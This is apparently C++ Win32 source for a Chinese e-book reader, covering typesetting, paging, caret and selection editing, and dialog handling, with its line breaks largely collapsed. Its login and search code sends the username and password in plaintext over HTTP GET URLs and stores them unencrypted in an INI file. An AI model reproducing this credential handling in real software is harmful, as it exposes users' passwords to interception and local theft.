{DWORD dwStart;dwStart = GetTickCount();wstring newwstr,s;int wz=0;wstring wstr_zkh=ANSIToUnicode("(");//全角左括号wstring wstr_zkh1=ANSIToUnicode("(");//半角左括号   wstring wstr_ykh=ANSIToUnicode(")");//全角右括号   wstring wstr_ykh1=ANSIToUnicode(")");//半角右括号wstring wstr_qjkg=ANSIToUnicode(" ");//全角空格   bool zkh=false;//开始排版while (wz<bookstr.length()){//遇到左括号s=bookstr[wz];if (s==wstr_zkh){newwstr.push_back(bookstr[wz]);//这种模式速度超级快wz++;s=bookstr[wz];while (s!=wstr_ykh){newwstr.push_back(wstr_qjkg[0]);//这种模式速度超级快wz++;   s=bookstr[wz];} newwstr.push_back(bookstr[wz]);//这种模式速度超级快wz++;}else{newwstr.push_back(bookstr[wz]);//这种模式速度超级快wz++;                       }}  //排版完成char ls1[MAX_PATH];sprintf(ls1,"排版完成,共耗时:%d毫秒!是否打开文件:%s?",GetTickCount()-dwStart,inputstr);      string str_write=UnicodeToANSI(newwstr);string tempname=inputstr;WriteToFile(str_write,tempname);if (MessageBox(MAIN_hwnd,ls1,"提示",MB_YESNO|MB_ICONQUESTION)==IDYES ){ShellExecute(NULL,"open",tempname.c_str(), NULL, NULL, SW_SHOWNORMAL);                }           return;}//运用线程,可以防止程序假死,将大量的长时间的运算工作采取这种模式较好
DWORD WINAPI xc1(LPVOID lpParamter)
{Typesetting();//对文件进行排版return 0L;
}DWORD WINAPI xc2(LPVOID lpParamter)
{Typesetting1();//对文件进行排版,去掉括号内的内容,并以空格填空return 0L;
}//从变量wstring bookstr中提取指定位置(beginwz)开始多少行的字符串,并放入Vector<string >showstr中,用于显示在窗口中
void getstr()
{HDC hdc ; TEXTMETRIC tm ; char temp1[30];//函数内用到的变量统一放在前面,并赋好初值,可以减少不明错误发生!!!!wstring linetxt;wstring zhc,s;string temp;int n=0,n1=0,i=0,zs=0;bool hh=false;    GetClientRect(MAIN_hwnd, &r);获取客户区尺寸//创建字体if (ll==1){hFont=CreateFont((char *)ztname,ztdx*sfbl);}else{hFont=CreateFont((char *)ztname,ztdx);}//得到当前字体的高度和宽度hdc = GetDC (MAIN_hwnd) ;SelectObject(hdc,hFont);//选择字体//得到当前字体的高度和宽度GetTextMetrics (hdc, &tm) ;            cxChar = tm.tmAveCharWidth ;cyChar = tm.tmHeight + tm.tmExternalLeading ;DeleteObject(hFont);ReleaseDC (MAIN_hwnd, hdc);if (ll==1){Hang = (r.bottom-r.top-22) / (cyChar+HJJ*sfbl);//计算行  sbj上下边距}else{Hang = (r.bottom-r.top-22) / (cyChar+HJJ);//计算行  sbj上下边距}int realhang=0;if (ll==2 or ll==3){Lie = ((r.right-r.left)/2-zbj) / cxChar/2;//计算列realhang=Hang*2;}if (ll==1){Lie = (r.right-r.left-zbj*sfbl)/ cxChar/2;//计算列realhang=Hang;}showstr.clear();wz=beginwz;if (bookstr.length()==0){beginwz=0;wz=0;bookstr=ANSIToUnicode("新建文档-make of ZGP");}if (wz>bookstr.length()-1){wz=bookstr.length()-Hang*Lie;beginwz=wz;}wstring wstr_qjtab=ANSIToUnicode("   ");//全角tabwstring wstr_qjkg=ANSIToUnicode(" ");//全角空格           if (!canedit){s=bookstr[wz];while ((s==wstr_qjkg || s==wstr_qjtab || bookstr[wz]==10 || bookstr[wz]==13 || bookstr[wz]==32) && wz<bookstr.length()){wz++;s=bookstr[wz];}}//行处理for (i=0;i<realhang;i++){/*回车,ASCII码13换行,ASCII码10空格,ASCII码32*/                  zs=0;linetxt.clear();//非编辑状态下换行后,将空格,回车符、换行符、TAB字符统统去掉             s=bookstr[wz];if ((!canedit)&&(hh==true ||s==wstr_qjtab||s==wstr_qjkg|| bookstr[wz]==0x0D || bookstr[wz]==0x0A || bookstr[wz]==0x20)){while (s==wstr_qjkg||s==wstr_qjtab|| bookstr[wz]==0x0D || bookstr[wz]==0x0A  || bookstr[wz]==0x20){wz++;s=bookstr[wz];}wstring wstrtemp=ANSIToUnicode("  ");linetxt=linetxt+wstrtemp;zs=zs+4;}hh=false;while (zs<Lie*2 && wz<bookstr.length())//列处理{//遇到换行符if (bookstr[wz]==0x0D || bookstr[wz]==0x0A){linetxt.push_back(bookstr[wz]);wz++;if (bookstr[wz]==0x0D || bookstr[wz]==0x0A){linetxt.push_back(bookstr[wz]);wz++;   } hh=true;break;}else//正常字符处理{hh=false;s=bookstr[wz];string s1=UnicodeToANSI(s);if( isAscll(s1) ){linetxt.push_back(bookstr[wz]);zs++;}else{linetxt.push_back(bookstr[wz]);zs++;zs++;}wz++;}}if (wz<bookstr.length())//如果WZ在范围内{//一行满后,看后面是不是跟着标点符号,如是是标点符号,由加在句末s=bookstr[wz];string tos=UnicodeToANSI(s);string strtemp=".,':!!?,。;’”:、";int fz=strtemp.rfind(tos);//string.rfind  从字符串右边开始找字符,返回位置while (fz!=string::npos&&wz<bookstr.length())  //tos==" "||tos=="."||tos==","||tos=="'"||tos==":"||tos=="!"||tos=="?"||tos=="。"||tos==","||tos=="’"||tos=="”"||tos==":"||tos=="!"){linetxt.push_back(bookstr[wz]);wz++;zs++;if (wz>=bookstr.length()) break;s=bookstr[wz];tos=UnicodeToANSI(s);    fz=strtemp.rfind(tos);}}//一行满后,如果后面就是换行符,则把它加入行末if  (zs>=Lie*2-1 && wz<bookstr.length()){if (bookstr[wz]==10 || bookstr[wz]==13){linetxt.push_back(bookstr[wz]);wz++;if  (wz<bookstr.length()){if (bookstr[wz]==10 || bookstr[wz]==13){linetxt.push_back(bookstr[wz]);wz++;    }}}}temp=UnicodeToANSI(linetxt);/*                             string str_temp1=hzto16((char *)temp.c_str());printf("%s\n",temp.c_str());printf("%s\n",str_temp1.c_str()); */showstr.push_back(temp);//压入一行字符串if (wz>bookstr.length()-1) break;}行处理endendwz=wz;//将当前阅读位置写入INI文件中//将当前阅读位置写入INI文件中sprintf(temp1,"%d",beginwz);   //数字转换成字符WritePrivateProfileString("电子书","阅读位置",temp1,IniFullPath);//写入INI数值            //设置各部门区域坐标if (ll==1)//一栏模式 {SetRect(&mrect_one,r.top,r.left,r.right,r.bottom/3);//P373设置矩形的坐标SetRect(&mrect_close,r.right-23,3,r.right-3,r.top+23);//P373设置矩形的坐标SetRect(&mrect_two,r.top,r.bottom/3,r.right,r.bottom/3*2);//P373设置矩形的坐标SetRect(&mrect_close,r.right-23,3,r.right-3,r.top+23);//P373设置矩形的坐标SetRect(&mrect_tree,r.top,r.bottom/3*2,r.right,r.bottom-22);//P373设置矩形的坐标SetRect(&mrect_close,r.right-23,3,r.right-3,r.top+23);//P373设置矩形的坐标}if (ll==2 or ll==3)//两栏模式 {int y=(cyClient-((cyChar+HJJ)*Hang-HJJ+22))/2;//页面上边距int x1=(cxClient/2-cxChar*Lie*2)/2;//左右居中int x2=cxClient/2+((cxClient/2-cxChar*Lie*2)/2);//左右居中SetRect(&mrect_one,x1,y,x1+cxChar*Lie*2,y+(cyChar+HJJ)*Hang-HJJ);//P373设置矩形的坐标SetRect(&mrect_close,r.right-23,3,r.right-3,r.top+23);//P373设置矩形的坐标SetRect(&mrect_two,x1+cxChar*Lie*2,y,x2,y+(cyChar+HJJ)*Hang-HJJ);//P373设置矩形的坐标SetRect(&mrect_close,r.right-23,3,r.right-3,r.top+23);//P373设置矩形的坐标SetRect(&mrect_tree,x2,y,x2+cxChar*Lie*2,y+(cyChar+HJJ)*Hang-HJJ);//P373设置矩形的坐标SetRect(&mrect_close,r.right-23,3,r.right-3,r.top+23);//P373设置矩形的坐标}             }//从变量wstring bookstr中提取指定位置(beginwz)开始多少行的字符串,并放入Vector<string >printstr中,用于为打印而准备
void getprintstr(int A4x,int A4y,bool pb)
{HDC hdc ; TEXTMETRIC tm ; char temp1[30];//函数内用到的变量统一放在前面,并赋好初值,可以减少不明错误发生!!!!wstring showtxt;   wstring zhc,s;string temp;int n=0,n1=0,i=0,zs=0;bool hh=false; //创建字体hFont=CreateFont((char *)ztname,ztdx);//得到当前字体的高度和宽度hdc = GetDC (MAIN_hwnd) ;SelectObject(hdc,hFont);//选择字体GetTextMetrics (hdc, &tm) ;cxChar1 = tm.tmAveCharWidth ;cyChar1 = tm.tmHeight + tm.tmExternalLeading ;DeleteObject(hFont);ReleaseDC (MAIN_hwnd, hdc) ;//Hang = (r.bottom-r.top-22) / (cyChar+HJJ);//计算行 int printLie = (A4x-zbj)/ cxChar1/2;//计算列//realhang=Hang;printstr.clear();wz=0;if (bookstr.length()==0){wz=0;string newfilestr="新建文档-make of ZGP";bookstr=ANSIToUnicode(newfilestr);}if (wz>bookstr.length()-1){wz=bookstr.length()-Hang*Lie;}if (pb)//重新排版{   while ((bookstr[wz]==10 || bookstr[wz]==13 || bookstr[wz]==32) && wz<bookstr.length()){wz++;}}wstring wstr_qjtab=ANSIToUnicode("   ");//全角tabwstring wstr_qjkg=ANSIToUnicode(" ");//全角tabfor (i=0;i>-1;i++){//行处理
/*
回车,ASCII码13
换行,ASCII码10
空格,ASCII码32
*/                zs=0;showtxt.clear();//换行后,将空格,回车符、换行符、TAB字符统统去掉               s=bookstr[wz];if (pb)//重新排版{if (hh==true ||s==wstr_qjtab||s==wstr_qjkg|| bookstr[wz]==0x0D || bookstr[wz]==0x0A || bookstr[wz]==0x20){while (s==wstr_qjkg||s==wstr_qjtab|| bookstr[wz]==0x0D || bookstr[wz]==0x0A  || bookstr[wz]==0x20){wz++;s=bookstr[wz];}wstring wstrtemp=ANSIToUnicode("  ");showtxt=showtxt+wstrtemp;zs=zs+4;}}hh=false;while (zs<printLie*2 && wz<bookstr.length())//列处理{if (bookstr[wz]==0x0D || bookstr[wz]==0x0A){showtxt=showtxt+bookstr[wz];wz++;if (bookstr[wz]==0x0D || bookstr[wz]==0x0A){showtxt=showtxt+bookstr[wz];wz++;  } hh=true;break;}else{hh=false;s=bookstr[wz];string s1=UnicodeToANSI(s);if( isAscll(s1) ){showtxt=showtxt+bookstr[wz];zs++;}else{showtxt=showtxt+bookstr[wz];zs++;zs++;}wz++;}}//一行满后,看后面是不是跟着标点符号,如是是标点符号,由加在句末s=bookstr[wz];string tos=UnicodeToANSI(s);string strtemp=" .,':!!?,。;’”:";int fz=strtemp.rfind(tos);//string.rfind  从字符串右边开始找字符,返回位置while (fz!=string::npos&&wz<bookstr.length())  //tos==" "||tos=="."||tos==","||tos=="'"||tos==":"||tos=="!"||tos=="?"||tos=="。"||tos==","||tos=="’"||tos=="”"||tos==":"||tos=="!"){showtxt=showtxt+bookstr[wz];wz++;zs++;if (wz>=bookstr.length()) break;s=bookstr[wz];tos=UnicodeToANSI(s); fz=strtemp.rfind(tos);}//一行满后,如果后面就是换行符,则把它加入行末if  (zs>=Lie*2-1 && wz<bookstr.length()){if (bookstr[wz]==10 || bookstr[wz]==13){showtxt=showtxt+bookstr[wz];wz++;if  (wz<bookstr.length()){if (bookstr[wz]==10 || bookstr[wz]==13){showtxt=showtxt+bookstr[wz];wz++;   }}}}temp=UnicodeToANSI(showtxt);/*                             string str_temp1=hzto16((char *)temp.c_str());printf("%s\n",temp.c_str());printf("%s\n",str_temp1.c_str()); */printstr.push_back(temp);if (wz>bookstr.length()-1) break;}行处理end
}void changeedit()
{if (!canedit){canedit=true;if (canedit){getstr();InvalidateRect(MAIN_hwnd,NULL,FALSE);//刷新显示结果 TRUE重画时将擦除背景。false重画时不擦除背景                 int i=0;showy=(cyClient-((cyChar+HJJ)*Hang-HJJ+22))/2;//上下居中if (ll==1)//如果是单栏{    showx1=(cxClient-cxChar*Lie*2)/2;//左右居中(x==(cxClient-cxChar*Lie*2)/2||x==(cxClient/2-cxChar*Lie*2)/2||x=cxClient/2+((cxClient/2-cxChar*Lie*2)/2))}if (ll==2 or ll==3)//两栏模式 {showx1=(cxClient/2-cxChar*Lie*2)/2;//左右居中showx2=cxClient/2+((cxClient/2-cxChar*Lie*2)/2);//左右居中}if ((CaretPosy>Hang-1) && (CaretPosy<showstr.size())){CaretPosx=showx2+CaretPoslie*cxChar;}else{CaretPosx=showx1+CaretPoslie*cxChar;}CaretPosy=showy+CaretPoshang*(cyChar+HJJ);CreateCaret (MAIN_hwnd, 0, 1, cyChar) ; //创建光标SetCaretPos (CaretPosx, CaretPosy) ; //将光标设置到指定位置ShowCaret (MAIN_hwnd) ; //显示光标}                       }else{HideCaret (MAIN_hwnd) ; //隐藏插入标记DestroyCaret () ; //清除插入标记canedit=false;getstr();InvalidateRect(MAIN_hwnd,NULL,FALSE);//刷新显示结果 TRUE重画时将擦除背景。false重画时不擦除背景                    }   }//将鼠标坐标转换成光标坐标
void mousetocaret(int mouseX,int mouseY)
{                           if (ll==2 or ll==3)//两栏模式 {if (mouseX<(cxClient/2))//左边栏{    CaretPoshang=(mouseY-showy)/(cyChar+HJJ);CaretPoslie=(mouseX-showx1)/cxChar;if (CaretPoshang>showstr.size()-1){CaretPoshang=showstr.size()-1;}string s=showstr[CaretPoshang];int s_length;if (s.find("\r\n")!=-1) //查找当前行是否有换行回车{s_length=s.length()-2;//有就字符数减两位}else{s_length=s.length();//没有就照取总符数}                                 if (CaretPoslie>s_length){CaretPoslie=s_length;}}else{CaretPoshang=(mouseY-showy)/(cyChar+HJJ)+Hang;CaretPoslie=(mouseX-showx2)/cxChar; if (CaretPoshang>showstr.size()-1){CaretPoshang=showstr.size()-1;}string s=showstr[CaretPoshang];int s_length;if (s.find("\r\n")!=-1) //查找当前行是否有换行回车{s_length=s.length()-2;//有就字符数减两位}else{s_length=s.length();//没有就照取总符数}                                    if (CaretPoslie>s_length){CaretPoslie=s_length;}}}if (ll==1)//两栏模式 {CaretPoshang=(mouseY-showy)/(cyChar+HJJ);CaretPoslie=(mouseX-showx1)/cxChar;if (CaretPoshang>showstr.size()-1){CaretPoshang=showstr.size()-1;}string s=showstr[CaretPoshang];int s_length;if (s.find("\r\n")!=-1) //查找当前行是否有换行回车{s_length=s.length()-2;//有就字符数减两位}else{s_length=s.length();//没有就照取总符数}                                   if (CaretPoslie>s_length){CaretPoslie=s_length;}}moveCaret();}//粘贴剪切板的字符
void paste()
{string ls= GetTextFromClipboard();//得到剪切板的字符if("" != ls){string s=showstr[CaretPoshang];s.insert(CaretPoslie,ls.c_str());showstr[CaretPoshang]=s;editbookstr();//编辑BOOKSTR里内容,并刷新显示;getstr();InvalidateRect(MAIN_hwnd,NULL,FALSE);//刷新显示结果 TRUE重画时将擦除背景。false重画时不擦除背景}
}void pageup()
{if (beginwz==0) return;int sz=0;if (ll==1){   sz=Hang*Lie;}if (ll==2 or ll==3)//两栏模式 {sz=Hang*Lie*2;}if ((beginwz-sz)>=0){beginwz=beginwz-sz;}else{beginwz=0;}getstr();InvalidateRect(MAIN_hwnd,NULL,FALSE);//刷新显示结果 TRUE重画时将擦除背景。false重画时不擦除背景HINSTANCE hinstance=(HINSTANCE)GetWindowLong(MAIN_hwnd,GWL_HINSTANCE);//有时候会发现程序的图标是有了,但是在左上角却还是没有加载上,这样做保险点//PlaySound(MAKEINTRESOURCE(IDR_PAGEUP), hinstance, SND_ASYNC | SND_NOWAIT | SND_RESOURCE);}void pagedown()
{try{if (endwz<bookstr.length()){beginwz=endwz;HINSTANCE hinstance=(HINSTANCE)GetWindowLong(MAIN_hwnd,GWL_HINSTANCE);//有时候会发现程序的图标是有了,但是在左上角却还是没有加载上,这样做保险点//PlaySound(MAKEINTRESOURCE(IDR_PAGEDOWN), hinstance, SND_ASYNC | SND_NOWAIT | SND_RESOURCE);//PlaySound(TEXT("D:\\ZGP-C\\悦读器\\CLICK.WAV"), NULL, SND_ASYNC | SND_NOWAIT | SND_RESOURCE);getstr();InvalidateRect(MAIN_hwnd,NULL,FALSE);//刷新显示结果 TRUE重画时将擦除背景。false重画时不擦除背景}}catch(...){MessageBox(NULL,"pagedown函数执行出错!","警告",MB_OK);}
}//删除编辑状态下选中的文本字符串
void deleteselstr()
{//selbhang,selblie,selehang,selelie    string rtstr;int zt=selehang-selbhang;switch (zt){case 0://选中的只要一行字{showstr[selbhang].erase(selblie,selelie-selblie);break;}case 1://选中两行字{showstr[selbhang].erase(selblie);showstr[selehang].erase(0,selelie);break;}default://超过两行以上的文字的处理方法{showstr[selbhang].erase(selblie);for (int index=selbhang+1;index<=selehang-1;index++){showstr[index].erase(0);}showstr[selehang].erase(0,selelie);break;}}CaretPoshang=selbhang;CaretPoslie=selblie;moveCaret();  havemove=false;}//得到编辑状态下选中的文本字符串
string getselstr()
{//selbhang,selblie,selehang,selelie    if (selbhang==selehang&&selblie==selelie) return "";  string rtstr;int zt=selehang-selbhang;switch (zt){case 0://选中的只要一行字{rtstr=showstr[selbhang].substr(selblie,selelie-selblie);}case 1://选中两行字{rtstr=showstr[selbhang].substr(selblie);rtstr=rtstr+showstr[selehang].substr(0,selelie);}default://超过两行以上的文字的处理方法{rtstr=showstr[selbhang].substr(selblie);for (int index=selbhang+1;index<=selehang-1;index++){rtstr=rtstr+showstr[index].substr(0);}rtstr=rtstr+showstr[selehang].substr(0,selelie);}}return rtstr;
}
//创建并处理其它子窗口
void DisplayTalk(HWND hParent,HWND talk,string classname,string caption,int talkw,int talkh)
{HWND fhwnd=FindWindow(NULL,caption.c_str());//查找窗口类名if (fhwnd!=NULL) {//MessageBox(NULL,"悦读器已经运行了一个","提示",MB_OK);ShowWindow(fhwnd,SW_SHOW);//P141显示窗口OpenIcon(fhwnd);//P137恢复最小化窗口SetForegroundWindow(fhwnd);//P137将窗口前置     SetWindowPos(fhwnd, HWND_TOPMOST, 100, 100, 600, 300, SWP_NOSIZE|SWP_DRAWFRAME|SWP_NOMOVE);//P139变更窗口的新属性 将窗口置顶 SWP_NOSIZE|SWP_NOMOVE|          return;}    EnableWindow(hParent, FALSE);//窗口居中RECT rt;SystemParametersInfo(SPI_GETWORKAREA,   0,   &rt,   0);    // 获得桌面工作区大小workcx=rt.right-rt.left;workcy=rt.bottom-rt.top;int FORMx=talkw;//GetPrivateProfileInt("电子书","kuan",cx-50,IniFullPath);//读取INI数值;int FORMy=talkh;//GetPrivateProfileInt("电子书","gao",cy-50,IniFullPath);//读取INI数值;if (FORMx>workcx) FORMx=workcx-50;if (FORMy>workcy) FORMy=workcy-50;int FORMleft = (workcx - FORMx) / 2;                    //新建窗口居中显示int FORMtop = (workcy - FORMy) /2;                       //新建窗口居中显示//窗口居中    //hdialog = CreateWindow("Talk", "Talkdialog", WS_OVERLAPPEDWINDOW, 0, 0, 560, 720, hParent, NULL, (HINSTANCE)GetWindowLong(hParent, GWL_HINSTANCE),  NULL);//创建窗口talk=CreateWindow((char*)classname.c_str() , //窗口类名为"Windows窗口创建"(char *)caption.c_str(),      //窗口的名称为“Windows窗口创建”,即窗口标题栏显示的窗口名称WS_OVERLAPPEDWINDOW&~WS_MAXIMIZEBOX&~WS_MINIMIZEBOX,       //重叠式窗口WS_OVERLAPPEDWINDOW&~WS_MAXIMIZEBOX去掉最大化FORMleft,FORMtop,        //窗口左上角在屏幕上的默认位置FORMx,FORMy,                //窗口的宽度和高度hParent,                      //窗口有父类窗口NULL,                      //窗口无主菜单(HINSTANCE)GetWindowLong(hParent, GWL_HINSTANCE),//创建此窗口的实例句柄NULL                       //此窗口无创建参数);ShowWindow(talk, SW_SHOW);UpdateWindow(talk);MSG msg;while (GetMessage(&msg, NULL, 0, 0)) {TranslateMessage(&msg);DispatchMessage(&msg);}EnableWindow(hParent, TRUE);SetActiveWindow(hParent);    SetForegroundWindow(hParent);
}//procedit  EDIT控件处理
LRESULT CALLBACK talk6memoProc( HWND hwnd, UINT message, WPARAM wParam, LPARAM lParam )
{switch( message ){//鼠标操作/*IDSTR(WM_MOUSEFIRST),"鼠标移动时发生(与WM_MOUSEMOVE等值),常用于判断鼠标消息的范围,比如:if(message >= WM_MOUSEFIRST)&&(message <= WM_MOUSELAST)",IDSTR(WM_MOUSEMOVE),"移动鼠标",IDSTR(WM_LBUTTONDOWN),"按下鼠标左键",IDSTR(WM_LBUTTONUP),"释放鼠标左键",IDSTR(WM_LBUTTONDBLCLK),"双击鼠标左键",IDSTR(WM_RBUTTONDOWN),"按下鼠标右键",IDSTR(WM_RBUTTONUP),"释放鼠标右键",IDSTR(WM_RBUTTONDBLCLK),"双击鼠标右键",IDSTR(WM_MBUTTONDOWN),"按下鼠标中键",IDSTR(WM_MBUTTONUP),"释放鼠标中键",IDSTR(WM_MBUTTONDBLCLK),"双击鼠标中键",IDSTR(WM_MOUSEWHEEL),"当鼠标轮子转动时,发送本消息给当前拥有焦点的控件",IDSTR(WM_MOUSELAST),"WM_MBUTTONDBLCLK的别名,通常用于判断鼠标消息的范围,对应的还有WM_MOUSEFIRST,例如:if(message > =  WM_MOUSEFIRST)&&(message <= WM_MOUSELAST)",*/case WM_KEYDOWN:                //遇到非系统字符所作的处理{if (wParam==27)//退出程序ESC{HWND fhwnd=FindWindow(NULL,"读书笔记");//查找窗口标题DestroyWindow(fhwnd);return 0;}}}return CallWindowProc((WNDPROC)Oldtalk6memoProc, hwnd, message, wParam, lParam);//一定要这么加,只处理需要的消息,不需要的返回给父窗口}//procedit  EDIT控件处理
LRESULT CALLBACK talk4buttonproc( HWND hwnd, UINT message, WPARAM wParam, LPARAM lParam )
{switch( message ){//鼠标操作/*IDSTR(WM_MOUSEFIRST),"鼠标移动时发生(与WM_MOUSEMOVE等值),常用于判断鼠标消息的范围,比如:if(message >= WM_MOUSEFIRST)&&(message <= WM_MOUSELAST)",IDSTR(WM_MOUSEMOVE),"移动鼠标",IDSTR(WM_LBUTTONDOWN),"按下鼠标左键",IDSTR(WM_LBUTTONUP),"释放鼠标左键",IDSTR(WM_LBUTTONDBLCLK),"双击鼠标左键",IDSTR(WM_RBUTTONDOWN),"按下鼠标右键",IDSTR(WM_RBUTTONUP),"释放鼠标右键",IDSTR(WM_RBUTTONDBLCLK),"双击鼠标右键",IDSTR(WM_MBUTTONDOWN),"按下鼠标中键",IDSTR(WM_MBUTTONUP),"释放鼠标中键",IDSTR(WM_MBUTTONDBLCLK),"双击鼠标中键",IDSTR(WM_MOUSEWHEEL),"当鼠标轮子转动时,发送本消息给当前拥有焦点的控件",IDSTR(WM_MOUSELAST),"WM_MBUTTONDBLCLK的别名,通常用于判断鼠标消息的范围,对应的还有WM_MOUSEFIRST,例如:if(message > =  WM_MOUSEFIRST)&&(message <= WM_MOUSELAST)",*/case WM_CHAR:                //遇到非系统字符所作的处理{if(wParam==VK_RETURN)  //处理“遇到回车键的消息”{if (hwnd==KJ_TALK4_BUTTON1){string tempname,temppsw;memset(inputstr, 0, MAX_PATH);//一定要清掉内存,不然会.......    GetWindowText(KJ_TALK4_EDIT1,inputstr,MAX_PATH);if (strcmp(inputstr,"")==0)//如果没有输入内容{MessageBox(hwnd,"请输入用户名","警告",MB_OK);//SetActiveWindow(hwnd);SetFocus(KJ_TALK4_EDIT1);break;}tempname=inputstr;memset(inputstr, 0, MAX_PATH);//一定要清掉内存,不然会....... GetWindowText(KJ_TALK4_EDIT2,inputstr,MAX_PATH);if (strcmp(inputstr,"")==0)//如果没有输入内容{MessageBox(hwnd,"请输入密码","警告",MB_OK);//SetActiveWindow(hwnd);SetFocus(KJ_TALK4_EDIT2);break;}temppsw=inputstr;    //进行网上验证//获取用户信息string str1=geturl("http://lovegp.cn/gpbook/gpbooklogin.asp?cz=login&username="+tempname+"&password="+temppsw);if (str1=="登录成功")     {MessageBox(NULL,"登录成功!","提示",MB_OK);username=tempname;password=temppsw;WritePrivateProfileString("电子书","username",(char *)username.c_str(),IniFullPath);//写入INI数值WritePrivateProfileString("电子书","password",(char *)password.c_str(),IniFullPath);//写入INI数值getstr();InvalidateRect(MAIN_hwnd,NULL,FALSE);//刷新显示结果 TRUE重画时将擦除背景。false重画时不擦除背景SendMessageA(talk4,WM_CLOSE,0,0);//关闭窗口}else{MessageBox(NULL,"登录失败!","提示",MB_OK);username="游客";password="";SetFocus(KJ_TALK4_EDIT1);}break;}             break;} }default:return CallWindowProc((WNDPROC)oldtalk4buttonproc, hwnd, message, wParam, lParam);//一定要这么加,只处理需要的消息,不需要的返回给父窗口}return 0;
}
//procedit  EDIT控件处理
LRESULT CALLBACK talk4EditProc( HWND hwnd, UINT message, WPARAM wParam, LPARAM lParam )
{switch( message ){//鼠标操作/*IDSTR(WM_MOUSEFIRST),"鼠标移动时发生(与WM_MOUSEMOVE等值),常用于判断鼠标消息的范围,比如:if(message >= WM_MOUSEFIRST)&&(message <= WM_MOUSELAST)",IDSTR(WM_MOUSEMOVE),"移动鼠标",IDSTR(WM_LBUTTONDOWN),"按下鼠标左键",IDSTR(WM_LBUTTONUP),"释放鼠标左键",IDSTR(WM_LBUTTONDBLCLK),"双击鼠标左键",IDSTR(WM_RBUTTONDOWN),"按下鼠标右键",IDSTR(WM_RBUTTONUP),"释放鼠标右键",IDSTR(WM_RBUTTONDBLCLK),"双击鼠标右键",IDSTR(WM_MBUTTONDOWN),"按下鼠标中键",IDSTR(WM_MBUTTONUP),"释放鼠标中键",IDSTR(WM_MBUTTONDBLCLK),"双击鼠标中键",IDSTR(WM_MOUSEWHEEL),"当鼠标轮子转动时,发送本消息给当前拥有焦点的控件",IDSTR(WM_MOUSELAST),"WM_MBUTTONDBLCLK的别名,通常用于判断鼠标消息的范围,对应的还有WM_MOUSEFIRST,例如:if(message > =  WM_MOUSEFIRST)&&(message <= WM_MOUSELAST)",*/case WM_CHAR:                //遇到非系统字符所作的处理{if(wParam==VK_RETURN)  //处理“遇到回车键的消息”{if (hwnd==KJ_TALK4_EDIT1){memset(inputstr, 0, MAX_PATH);//一定要清掉内存,不然会.......  GetWindowText(KJ_TALK4_EDIT1,inputstr,MAX_PATH);if (strcmp(inputstr,"")==0)//如果没有输入内容{MessageBox(hwnd,"请输入内容","警告",MB_OK);SetActiveWindow(hwnd);SetFocus(KJ_TALK4_EDIT1);//SendMessage(KJ_TALK4_EDIT1, WM_SETFOCUS, 0, 0);      //edit取得焦点break;}//SetActiveWindow(hwnd);SetFocus(KJ_TALK4_EDIT2);//这个可以break;//string str1="http://lovegp.cn/gpbook/gpbooklist.asp?username="+username+"&password="+password+"&cx="+hzto16((char *)inputstr);//talk2_getbooklist(hwnd,(char *)str1.c_str());                    }               if (hwnd==KJ_TALK4_EDIT2){memset(inputstr, 0, MAX_PATH);//一定要清掉内存,不然会.......   GetWindowText(KJ_TALK4_EDIT2,inputstr,MAX_PATH);if (strcmp(inputstr,"")==0)//如果没有输入内容{MessageBox(hwnd,"请输入内容","警告",MB_OK);//SetActiveWindow(hwnd);SetFocus(KJ_TALK4_EDIT2);//这个可以break;}//SetActiveWindow(hwnd);SetFocus(KJ_TALK4_BUTTON1);     //edit取得焦点break;//string str1="http://lovegp.cn/gpbook/gpbooklist.asp?username="+username+"&password="+password+"&cx="+hzto16((char *)inputstr);//talk2_getbooklist(hwnd,(char *)str1.c_str());                  }break;}    }default:return CallWindowProc((WNDPROC)Oldtalk4editProc, hwnd, message, wParam, lParam);//一定要这么加,只处理需要的消息,不需要的返回给父窗口}return 0;
}//procedit  EDIT控件处理
LRESULT CALLBACK talk2EditProc( HWND hwnd, UINT message, WPARAM wParam, LPARAM lParam )
{switch( message ){//鼠标操作/*IDSTR(WM_MOUSEFIRST),"鼠标移动时发生(与WM_MOUSEMOVE等值),常用于判断鼠标消息的范围,比如:if(message >= WM_MOUSEFIRST)&&(message <= WM_MOUSELAST)",IDSTR(WM_MOUSEMOVE),"移动鼠标",IDSTR(WM_LBUTTONDOWN),"按下鼠标左键",IDSTR(WM_LBUTTONUP),"释放鼠标左键",IDSTR(WM_LBUTTONDBLCLK),"双击鼠标左键",IDSTR(WM_RBUTTONDOWN),"按下鼠标右键",IDSTR(WM_RBUTTONUP),"释放鼠标右键",IDSTR(WM_RBUTTONDBLCLK),"双击鼠标右键",IDSTR(WM_MBUTTONDOWN),"按下鼠标中键",IDSTR(WM_MBUTTONUP),"释放鼠标中键",IDSTR(WM_MBUTTONDBLCLK),"双击鼠标中键",IDSTR(WM_MOUSEWHEEL),"当鼠标轮子转动时,发送本消息给当前拥有焦点的控件",IDSTR(WM_MOUSELAST),"WM_MBUTTONDBLCLK的别名,通常用于判断鼠标消息的范围,对应的还有WM_MOUSEFIRST,例如:if(message > =  WM_MOUSEFIRST)&&(message <= WM_MOUSELAST)",*/case WM_CHAR:                //遇到非系统字符所作的处理{if(wParam==VK_RETURN)  //处理“遇到回车键的消息”{if (hwnd==KJ_TALK2_EDIT1){GetWindowText(KJ_TALK2_EDIT1,searchstr,50);if (strcmp(searchstr,"")==0)//如果没有输入内容{MessageBox(hwnd,"请输入内容","警告",MB_OK);break;}urlpage="1";getbooklist("http://lovegp.cn/gpbook/gpbooklist.asp?username="+username+"&password="+password+"&cx="+hzto16((char *)searchstr));}break;} }default:return CallWindowProc((WNDPROC)Oldtalk2editProc, hwnd, message, wParam, lParam);//一定要这么加,只处理需要的消息,不需要的返回给父窗口}return 0;
}//talk9窗口响应事件处理 ==input数据输入对话框
